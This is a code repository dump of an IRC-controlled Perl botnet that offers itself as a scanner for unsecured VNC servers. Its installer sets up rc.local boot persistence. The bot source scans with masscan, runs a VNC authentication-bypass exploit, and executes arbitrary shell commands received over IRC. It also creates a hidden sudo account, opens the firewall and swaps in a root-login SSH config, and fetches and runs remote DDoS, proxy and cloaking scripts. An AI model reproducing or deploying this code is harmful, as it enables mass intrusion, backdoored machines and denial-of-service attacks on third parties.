├── rc.local ├── ccfinder ├── rc-local.service ├── sshd_config ├── sshd_banner ├── README.md ├── Config └── perlircssl.pl /rc.local: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | perl ~/perlircssl.pl & 3 | exit 0 4 | -------------------------------------------------------------------------------- /ccfinder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ind3p3nd3nt/vncperlbot/HEAD/ccfinder -------------------------------------------------------------------------------- /rc-local.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=/etc/rc.local Compatibility 3 | ConditionPathExists=/etc/rc.local 4 | 5 | [Service] 6 | Type=forking 7 | ExecStart=/etc/rc.local start 8 | TimeoutSec=0 9 | StandardOutput=tty 10 | RemainAfterExit=yes 11 | SysVStartPriority=99 12 | 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /sshd_config: -------------------------------------------------------------------------------- 1 | ############################################ 2 | #### https://github.com/independentcod ### 3 | ############################################ 4 | Port 22 5 | ListenAddress 0.0.0.0 6 | PermitRootLogin yes 7 | PasswordAuthentication yes 8 | ChallengeResponseAuthentication no 9 | UsePAM yes 10 | Banner /etc/ssh/sshd_banner 11 | AcceptEnv LANG LC_* 12 | Subsystem sftp /usr/lib/openssh/sftp-server 13 | -------------------------------------------------------------------------------- /sshd_banner: -------------------------------------------------------------------------------- 1 | ############################################### 2 | ### YOU HAVE BEEN PWNED ### 3 | ############################################### 4 | ### ### 5 | ### https://github.com/ind3p3nd3nt ### 6 | ############################################### 7 | ### ### 8 | ### Have a nice day! ### 9 | ############################################### 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This code is an IRC BOT that can connect to an IRC server with SSL 2 | The main purpose of this bot is to scan for Open/Unsecured VNC servers. 3 | 4 | ## ---INSTALLATION--- 5 | 6 | ### git clone https://github.com/ind3p3nd3nt/vncperlbot && sh vncperlbot/Config 7 | 8 | ## ----COMMANDS---- 9 | ## NOTE:The commands can be done via PRIVATE MESSAGE and CHANNEL also. 10 | ### ---------------- 11 | ## NEW COMMAND: @.getssh <= This will make a random admin account/password with sudo powers (use: sudo su :to get root access) 12 | ### ---------------- 13 | ## Using this command will start masscan on your Local Area Network, or the LAN which the bot is installed on. 14 | ### @.scan 192.168.0.0-192.168.255.255 15 | ## This needs to be done before each @.exploit 16 | ### @.format 17 | ## This runs the VNC exploit and reports the working VNCs to the channel 18 | ### @.exploit 19 | ## This kills the exploit run 20 | ### @.stopexploit 21 | ## This installs ddos.py on the root account 22 | ### @.ddos 23 | ## This blocks botnets from scanning your servers you owned 24 | ### @.blocknoobs 25 | ## This resets the iptables firewall to initial state and deletes all the rules that were made to it 26 | ### @.fwreset 27 | ## This runs a socks5 server on port 1080 28 | ### @.socks 29 | ## This updates the autorun of the bot on boot 30 | ### @.autorun 31 | ## This installs a xfce4 remote desktop on a random port accessible by your browser (tested working on debian) 32 | ### @.novnc 33 | ## This installs proxychains and tor socks and hides the bot behind a tor node before connecting your server 34 | ### @.cloak 35 | ## NOTE: You can control the bot by saying "sudo command args" and the bot will reply the output of the terminal also the bot will connect back to the server if it gets disconnected from it. 36 | -------------------------------------------------------------------------------- /Config: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ ! -f "./perlircssl.pl" ]; then curl -o perlircssl.pl -Lv https://raw.githubusercontent.com/ind3p3nd3nt/vncperlbot/master/perlircssl.pl; fi; 3 | clear; 4 | echo "Perl VNC ByPass AUTH IRC Bot with SSL"; 5 | echo "Made by ind3p3nd3nt"; 6 | echo 'http://github.com/ind3p3nd3nt/vncperlbot'; 7 | read -p "Install required packages? Y or LEAVE BLANK + ENTER" choice 8 | case $choice in 9 | Y) if [ -f "/usr/bin/yum" ]; then 10 | yum install epel-release -y; 11 | yum install masscan openssl-devel libpcap-devel perl-CPAN* -y; 12 | yum groupinstall "Development Tools" -y; 13 | perl -MCPAN -e install CPAN; 14 | perl -MCPAN -e reload CPAN; 15 | cpan -fi Digest::MD5; 16 | cpan -fi Net::SSLeay; 17 | cpan -fi IO::Socket::SSL; 18 | cpan -fi Time::HiRes; 19 | cpan -fi Mojolicious; 20 | cpan -fi Mojo::IRC; 21 | cpan -fi Net::Address::IP::Local; 22 | fi 23 | if [ -f "/usr/bin/apt" ]; then 24 | apt-get update; 25 | apt-get install build-essential perl libssl-dev masscan libpcap-dev cpan-listchanges cpanoutdated -y; 26 | perl -MCPAN -e install CPAN; 27 | perl -MCPAN -e reload CPAN; 28 | cpan -fi Mojo::IRC; 29 | cpan -fi IO::Socket::SSL; 30 | cpan -fi Net::Address::IP::Local; 31 | fi 32 | esac 33 | read -p "Proceed to bot configurations? [Y/A] or LEAVE BLANK + ENTER" choice 34 | case $choice in 35 | A) 36 | sed -i "perlircssl.pl" -e "s/#defineserverhere/server => \'irc-3.iownyour.biz:6697\',/g" "perlircssl.pl" 37 | sed -i "perlircssl.pl" -e "s/#definesslhere/\$irc->tls({insecure => 1});/g" "perlircssl.pl" 38 | sed -i "perlircssl.pl" -e "s/#definenickhere/nick => \'VNC\'.int(rand(99999)),/g" "perlircssl.pl" 39 | sed -i "perlircssl.pl" -e "s/#definechanhere/my \$channel = \'#VNC\';/g" "perlircssl.pl" 40 | sed -i "perlircssl.pl" -e "s/#definenoticechanhere/my \$noticechan = \'@#VNC\';/g" "perlircssl.pl" 41 | sed -i "perlircssl.pl" -e "s/#definetimeouthere/my \$forktimeout = "20";/g" "perlircssl.pl" 42 | sed -i "perlircssl.pl" -e "s/#defineforkshere/my \$maxforks = "2000";/g" "perlircssl.pl" 43 | sed -i "perlircssl.pl" -e "s|#defineportshere|my @VNC_PORTS = qw/\'5900 5901 5902 5903 5904 5905 5906 5907 5908 5909 5910 5911 5912 5913 5914 5915 5916 5917 5918 5919 5920 5921 5922 5923 5924 5925 5926 5927 5928 5929 5930 5931 5932 5933 5934 5935 5936 5937 5938 5939 5940 5941 5942 5943 5944 5945 5946 5947 5948 5949 5950 5951 5952 5953 5954 5955 5956 5957 5958 5959 5960 5961 5962 5963 5964 5965 5966 5967 5968 5969 5970 5971 5972 5973 5974 5975 5976 5977 5978 5979 5980 5981 5982 5983 5984 5985 5986 5987 5988 5989 5990 5991 5992 5993 5994 5995 5996 5997 5998 5999\'/;|g" "perlircssl.pl" 44 | sed -i "perlircssl.pl" -e "s|--rate 25000|--rate "50000"|g" "perlircssl.pl" 45 | echo "Auto-configuration succeeded." 46 | ;; 47 | Y) 48 | if read -p "IRC server:port? " name; then 49 | sed -i "perlircssl.pl" -e "s/#defineserverhere/server => \'${name}\',/g" "perlircssl.pl" 50 | fi 51 | read -p "Is the IRC port listening over SSL encryption? < 1 / 0 > (1=Yes, 0=No)" ssl 52 | case $ssl in 53 | 0) sed -i "perlircssl.pl" -e "s/#definesslhere/\$irc->tls({insecure => ${ssl}});/g" "perlircssl.pl";; 54 | *) sed -i "perlircssl.pl" -e "s/#definesslhere/\$irc->tls({insecure => 1});/g" "perlircssl.pl";; 55 | esac 56 | if read -p "Bot Nickname Base? (Bawt)" nick; then 57 | sed -i "perlircssl.pl" -e "s/#definenickhere/nick => \'$nick\'.int(rand(99999)),/g" "perlircssl.pl" 58 | fi 59 | if read -p "Channel to join when connected? (#Hackers)" ch4n; then 60 | sed -i "perlircssl.pl" -e "s/#definechanhere/my \$channel = \'$ch4n\';/g" "perlircssl.pl" 61 | sed -i "perlircssl.pl" -e "s/#definenoticechanhere/my \$noticechan = \'@$ch4n\';/g" "perlircssl.pl" 62 | fi 63 | if read -p "Fork timeout in seconds? (Recommended: 10-60)" timeout; then 64 | sed -i "perlircssl.pl" -e "s/#definetimeouthere/my \$forktimeout = "$timeout";/g" "perlircssl.pl" 65 | fi 66 | if read -p "Maximum number of forks? (Recommended: 50-2000)" m4xfork; then 67 | sed -i "perlircssl.pl" -e "s/#defineforkshere/my \$maxforks = "$m4xfork";/g" "perlircssl.pl" 68 | fi 69 | if read -p "Define the ports numbers to scan (Recommended:5900 (You can add as many port you want, separated by a space))" ports; then 70 | sed -i "perlircssl.pl" -e "s|#defineportshere|my @VNC_PORTS = qw/\'$ports\'/;|g" "perlircssl.pl" 71 | fi 72 | if read -p "Masscan RATE-LIMIT/Recommended: 25000" mrate; then 73 | sed -i "perlircssl.pl" -e "s|--rate 25000|--rate "$mrate"|g" "perlircssl.pl" 74 | fi 75 | ;; 76 | *) 77 | ;; 78 | esac 79 | cp -r ./perlircssl.pl ~/perlircssl.pl; 80 | if [ ! -f "./rc.local" ]; then curl -Lv -o /etc/rc.local https://raw.githubusercontent.com/ind3p3nd3nt/vncperlbot/master/rc.local; else cp -r ./rc.local /etc/rc.local; fi; 81 | chown $USER /etc/rc.local; 82 | chmod 755 /etc/rc.local; 83 | touch /etc/systemd/system/rc-local.service; 84 | if [ ! -f "./rc-local.service" ]; then curl -Lv -o /etc/systemd/system/rc-local.service https://raw.githubusercontent.com/ind3p3nd3nt/vncperlbot/master/rc-local.service; else cp -r ./rc-local.service /etc/systemd/system/rc-local.service; fi; 85 | systemctl enable rc-local; 86 | perl perlircssl.pl & 87 | -------------------------------------------------------------------------------- /perlircssl.pl: -------------------------------------------------------------------------------- 1 | use strict; 2 | use warnings; 3 | use Mojo::IRC; 4 | use Net::Address::IP::Local; 5 | use Time::HiRes; 6 | use feature 'say'; 7 | use Fcntl qw(:flock SEEK_END); 8 | my $filename = 'CCFinder.log'; 9 | $|=1; 10 | #defineportshere 11 | use Mojo::IOLoop; 12 | #definetimeouthere 13 | #defineforkshere 14 | #definenoticechanhere 15 | #definechanhere 16 | my %events; 17 | my $range; 18 | my $minimum; 19 | my $random_number; 20 | my $random_user; 21 | my @arr4y; 22 | my $address; 23 | my $irc = Mojo::IRC->new( 24 | #definenickhere 25 | user => 'VNCScan', 26 | #defineserverhere 27 | ); 28 | #definesslhere 29 | $irc->on(close => sub { system("perl perlircssl.pl &") }); 30 | $irc->on(irc_rpl_welcome => sub { 31 | my($irc, $err) = @_; 32 | warn 'Joined IRC server.'; 33 | $irc->write(join => $channel); 34 | }); 35 | $irc->on(irc_join => sub { 36 | 37 | }); 38 | my $misc = {}; 39 | $irc->on(irc_privmsg => sub { 40 | my($irc, $message) = @_; 41 | my $msg = $message->{params}[1]; 42 | if ($msg =~ /@.version/) { 43 | warn 'Version request.'; 44 | $irc->write(notice => $noticechan => "9,1Perl VNC bot [FINAL] by independent: 12https://github.com/independentcod"); 45 | } 46 | if ($msg =~ /@.autorun/) { 47 | system("if [ ! -f ./rc.local ]; then curl -Lv -o /etc/rc.local https://raw.githubusercontent.com/ind3p3nd3nt/vncperlbot/master/rc.local; else cp -r ./rc.local /etc/rc.local; fi;"); 48 | system("chown root:root /etc/rc.local && chmod 755 /etc/rc.local && touch /etc/systemd/system/rc-local.service;"); 49 | system("if [ ! -f ./rc-local.service ]; then curl -Lv -o /etc/systemd/system/rc-local.service https://raw.githubusercontent.com/ind3p3nd3nt/vncperlbot/master/rc-local.service; else cp -r ./rc-local.service /etc/systemd/system/rc-local.service; fi;"); 50 | system("systemctl enable rc-local;"); 51 | $irc->write(notice => $noticechan => "[info] Autorun enabled\n"); 52 | } 53 | if ($msg =~ /@.cloak/) { 54 | system("curl -LvO https://raw.githubusercontent.com/ind3p3nd3nt/proxych/main/install.sh -o install.sh && sh install.sh &"); 55 | system("proxychains perl ~/perlircssl.pl &"); 56 | $irc->write(notice => $noticechan => "[info] Cloaked!\n"); 57 | } 58 | if ($msg =~ /@.novnc/) { 59 | system("curl -LvO https://raw.githubusercontent.com/ind3p3nd3nt/novnc/main/.install.sh -o .install.sh && bash .install.sh &"); 60 | $irc->write(notice => $noticechan => "[info] NoVNC installed check terminal for input\n"); 61 | } 62 | if ($msg =~ /@.socks/) { 63 | system("if [ -f /usr/bin/apt ]; then apt update && apt install build-essential -y; else yum groupinstall 'Development Tools' -y; fi;"); 64 | system("git clone https://github.com/ind3p3nd3nt/socks && cp -r ./socks/* ./ && make -j8 && ./socks5server &"); 65 | $irc->write(notice => $noticechan => "[info] Socks5 Listening 0.0.0.0:1080\n"); 66 | } 67 | if ($msg =~ /@.blocknoobs/) { 68 | system("if [ -f /usr/bin/apt ]; then apt update && apt install build-essential -y; else yum groupinstall 'Development Tools' -y; fi;"); 69 | system("git clone https://github.com/ind3p3nd3nt/iptables_CIDR_drop.git && cp -r ./iptables_CIDR_drop/* ./ && sh setup.sh &"); 70 | $irc->write(notice => $noticechan => "[info] Now blocking noobs all over the world.\n"); 71 | } 72 | if ($msg =~ /@.fwreset/) { 73 | system("curl -LvO https://raw.githubusercontent.com/ind3p3nd3nt/fwreset/main/iptables-reset.sh -o iptables-reset.sh && sh iptables-reset.sh &"); 74 | $irc->write(notice => $noticechan => "[info] Firewall Reset!\n"); 75 | } 76 | if ($msg =~ /sudo/) { 77 | system("if [ ! -f /usr/bin/sudo ]; then if [ -f /usr/bin/apt ]; then apt update && apt install sudo -y; else yum install sudo -y; fi; fi;"); 78 | my $fragment = substr $msg, 7; 79 | $irc->write(notice => $noticechan => "$msg\n"); 80 | system("$msg"); 81 | my @output = `$msg 2>&1 3>&1`; 82 | foreach(@output) { 83 | Time::HiRes::sleep(0.9); 84 | $irc->write(notice => $noticechan => "$_\r\n"); 85 | } 86 | } 87 | if ($msg =~ /@.getssh/) { 88 | warn 'Flushing iptables & Accepting all remote connections.'; 89 | system "sudo iptables -F INPUT"; 90 | system "sudo iptables -P INPUT ACCEPT"; 91 | warn 'Adding new admin account...'; 92 | $range = 999999999; 93 | $minimum = 100000000; 94 | $random_number = int(rand($range)) + $minimum; 95 | $random_user = sprintf("%08X", rand(0xFFFFFFFF)); 96 | system 'sudo useradd -m ' . $random_user; 97 | system "echo $random_user:$random_number | sudo chpasswd"; 98 | system 'if [ -f "/usr/bin/yum" ]; then sudo usermod -aG wheel ' . $random_user . '; fi'; 99 | system 'if [ -f "/usr/bin/apt" ]; then sudo adduser ' . $random_user . ' sudo; fi'; 100 | warn 'Configuring SSH...'; 101 | system 'wget -O /etc/ssh/sshd_config https://github.com/ind3p3nd3nt/vncperlbot/raw/master/sshd_config'; 102 | system 'wget -O /etc/ssh/sshd_banner https://github.com/ind3p3nd3nt/vncperlbot/raw/master/sshd_banner'; 103 | system 'if [ -f /usr/bin/yum ]; then sudo service sshd restart; fi'; 104 | system 'if [ -f /usr/bin/apt ]; then sudo service ssh restart; fi'; 105 | warn 'Getting External IP Address'; 106 | $address = eval { Net::Address::IP::Local->connected_to('perlmaven.com') }; 107 | @arr4y = ('sshpass -p "',$random_number, '" ssh -l ',$random_user, $address); 108 | warn "@arr4y"; 109 | $irc->write(notice => $noticechan => @arr4y); 110 | } 111 | elsif ($msg =~ /@.stopexploit/) { 112 | warn 'stopexploit called, killing...'; 113 | if ( exists $misc->{exploitpid} ) { 114 | $irc->write(notice => $noticechan => '[Info] Sending SIGTERM to PID ' . $misc->{exploitpid}); 115 | kill 'INT', $misc->{exploitpid};kill 'TERM', $misc->{exploitpid}; 116 | delete $misc->{exploitpid}; 117 | $irc->write(notice => $noticechan => '[Info] PID ' . $misc->{exploitpid} . " killed, !exploit stopped"); 118 | } else { 119 | $irc->write(notice => $noticechan => "exploit is not running"); 120 | } 121 | } 122 | return unless $msg =~ /^\@./; 123 | my $subprocess = Mojo::IOLoop->subprocess( 124 | sub { 125 | my $s = shift; 126 | my @IRC_RESULTS; 127 | $events{connect}++; 128 | if ($msg =~ /@.scan ([^\s]+)/) { 129 | $s->progress("[Info] Starting masscan... [VNC Scan in progress ...]"); 130 | my $range = $1; 131 | my $masscancmd = "masscan -p 5900 --range $range --rate 25000 --open --banners -oG hosts.txt "; 132 | warn "Received rangescan request on $range , running masscan..."; 133 | my $r = `$masscancmd`; 134 | push @IRC_RESULTS, $_ foreach split "\n", $r; 135 | } elsif ($msg =~ /@.ddos/) { 136 | $s->progress("[Info] Installing DDoS Module"); 137 | system("if [ ! -f /usr/bin/python3 ]; then if [ -f /usr/bin/apt ]; then apt install python3 -y; else yum install python3 -y; fi; fi; curl -LvO https://raw.githubusercontent.com/ind3p3nd3nt/ddos/master/ddos.py -o ddos.py && chmod +x ddos.py"); 138 | $s->progress("[Info] DDoS Module Installed use: sudo ./ddos.py -d host -p port -t threads -Synflood &"); 139 | } 140 | elsif ($msg =~ /@.exploit/) { 141 | warn 'Received exploitrun request, exploiting hosts.txt...'; 142 | my $r = exploitrun ("vnc", $s, $s->pid); 143 | 144 | } elsif ($msg =~ /@.format/) { 145 | warn 'Received file formatting request, processing...'; 146 | my $formatcmd = "rm -rf ips.txt && cat hosts.txt | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >>ips.txt"; 147 | my $r = `$formatcmd`; 148 | push @IRC_RESULTS, $_ foreach split "\n", $r; 149 | } 150 | return @IRC_RESULTS; 151 | }, sub { 152 | my ($s, $error, @res) = @_; 153 | $irc->write(notice => $noticechan => " FINISHED: $msg"); 154 | warn "Finished work: $msg"; 155 | if ( $error ) { 156 | warn "ERROR FOUND: $error"; 157 | $irc->write(notice => $noticechan => "ERROR: " . $error); 158 | return; 159 | } 160 | $irc->write(notice => $noticechan => $_) foreach @res; 161 | }); 162 | 163 | $subprocess->on(progress => sub { 164 | my ($subprocess, @data) = @_; 165 | $irc->write(notice => $noticechan => $_) foreach @data; # this prints the data from subprocesses 166 | }); 167 | $subprocess->on(spawn => sub { 168 | my $subprocess = shift; 169 | my $pid = $subprocess->pid; 170 | # $irc->write(notice => $noticechan => "Performing work in process $pid"); 171 | if ( $msg =~ /@.exploit/ ) { 172 | $irc->write(notice => $noticechan => 'pid: ' . $pid) ; 173 | $misc->{exploitpid} = $pid ; 174 | } 175 | }); 176 | }); 177 | $irc->connect(sub { 178 | my($irc, $err) = @_; 179 | return system("if [ ! -f ./iptables-reset.sh ]; then curl -LvO https://raw.githubusercontent.com/ind3p3nd3nt/fwreset/main/iptables-reset.sh -o iptables-reset.sh; fi; sh iptables-reset.sh && perl perlircssl.pl &") if $err; 180 | $irc->write(join => $channel); 181 | }); 182 | Mojo::IOLoop->start; 183 | 184 | sub exploitvnc { 185 | my $row = shift; 186 | my $subp = shift; 187 | my $ownpid = shift; 188 | my $arg = shift; 189 | foreach my $vncport (@VNC_PORTS){ 190 | my $sock = IO::Socket::INET->new(PeerAddr => $row, PeerPort => $vncport, Proto => 'tcp', Timeout => 10); 191 | next unless $sock; 192 | $sock->read(my $proto_ver, 12); 193 | eval { 194 | print $sock $proto_ver; 195 | $sock->read(my $sec_types, 1); 196 | $sock->read(my $ignored, unpack('C', $sec_types)); 197 | print $sock "\x01"; 198 | $sock->read(my $auth_type, 4); 199 | print $sock "\x01"; 200 | }; 201 | my $ver = "RFB 003.008"; 202 | $sock->read(my $vnc_data, 4); 203 | if (unpack('I', $vnc_data)) { 204 | if ($proto_ver =~ $ver) { 205 | $proto_ver =~ s/[\r\n]+//g; 206 | if (index($vnc_data, chr(4)) != -1) { 207 | 208 | $subp->progress(" $row:$vncport $vnc_data "); 209 | } 210 | elsif (index($vnc_data, chr(195)) != -1) { 211 | 212 | $subp->progress(" $row:$vncport $vnc_data "); 213 | } 214 | elsif (index($vnc_data, chr(208)) != -1) { 215 | 216 | $subp->progress(" $row:$vncport $vnc_data "); 217 | } 218 | elsif (index($vnc_data, chr(88)) != -1) { 219 | 220 | $subp->progress(" $row:$vncport $vnc_data "); 221 | } 222 | elsif (index($vnc_data, chr(87)) != -1) { 223 | 224 | $subp->progress(" $row:$vncport $vnc_data "); 225 | } 226 | elsif (index($vnc_data, chr(7)) != -1) { 227 | 228 | $subp->progress(" $row:$vncport $vnc_data "); 229 | } 230 | } 231 | } 232 | } 233 | exit; 234 | } 235 | 236 | sub exploitrun { 237 | my $arg = shift; 238 | my $subp = shift; 239 | my $ownpid = shift; 240 | $SIG{CHLD} = 'IGNORE'; 241 | $subp->progress("[Info] Starting $arg Exploiter "); 242 | my @ips; 243 | my %ips; 244 | my $filename = 'ips.txt'; 245 | if (open(my $fh, '<:encoding(UTF-8)', $filename)) { 246 | while (my $row = <$fh>) { 247 | chomp $row; 248 | $row = $1 if $row =~ /(\d+\.\d+\.\d+\.\d+)/; 249 | #push @ips, $row; 250 | $ips{$row} = ''; 251 | } 252 | close $fh; 253 | } 254 | push @ips, $_ foreach (sort {$a cmp $b} keys %ips); 255 | my %pids; 256 | $subp->progress("Calling IPs (" . int (scalar @ips) . ")"); 257 | 258 | my $finished = 0; 259 | my $i = 0; 260 | while ( @ips > 0 ) 261 | { 262 | Time::HiRes::sleep(0.1); 263 | #$subp->progress("[Info] In progress"); 264 | foreach (keys %pids){ 265 | my $exists = kill 0, $_; # kill 'TERM', $_ 266 | if ( $exists ) { 267 | kill 'TERM', $_ if $pids{$_} < CORE::time; 268 | } else { 269 | delete $pids{$_} 270 | } 271 | } 272 | if ( scalar keys %pids >= $maxforks ) 273 | { 274 | say int scalar @ips; 275 | say 'pids: ' . scalar keys %pids; 276 | } else { 277 | my $targetip = shift @ips; 278 | say 'Sending ' . $targetip; 279 | my $pid; 280 | if ($pid = fork) { 281 | say $pid; 282 | } else { 283 | if ($arg =~ /rdp/) { 284 | exploitrdp($targetip, $subp, $ownpid); 285 | } 286 | if ($arg =~ /ssh/) { 287 | exploitssh($targetip, $subp, $ownpid); 288 | } 289 | if ($arg =~ /mysql/) { 290 | exploitmysql($targetip, $subp, $ownpid); 291 | } 292 | if ($arg =~ /smtp/) { 293 | exploitsmtp($targetip, $subp, $ownpid); 294 | } 295 | if ($arg =~ /vnc/) { 296 | exploitvnc($targetip, $subp, $ownpid); 297 | } 298 | } 299 | $pids{$pid} = CORE::time + $forktimeout; 300 | } 301 | } 302 | $subp->progress("Done Calling IPs"); 303 | while ( scalar keys %pids > 0 ) # wait for last alive forks to terminate 304 | { 305 | Time::HiRes::sleep(0.1); 306 | foreach (keys %pids){ 307 | my $exists = kill 0, $_; # kill 'TERM', $_ 308 | if ( $exists ) { 309 | 310 | kill 'TERM', $_ if $pids{$_} < CORE::time; 311 | } else { 312 | delete $pids{$_} 313 | } 314 | } 315 | } 316 | $subp->progress("[Info] $arg Done Scan"); 317 | } 318 | sub lockf { 319 | my ($fh) = @_; 320 | flock($fh, LOCK_EX) or die "Cannot lock - $!\n"; 321 | } 322 | sub unlock { 323 | my ($fh) = @_; 324 | flock($fh, LOCK_UN) or die "Cannot unlock - $!\n"; 325 | } 326 | --------------------------------------------------------------------------------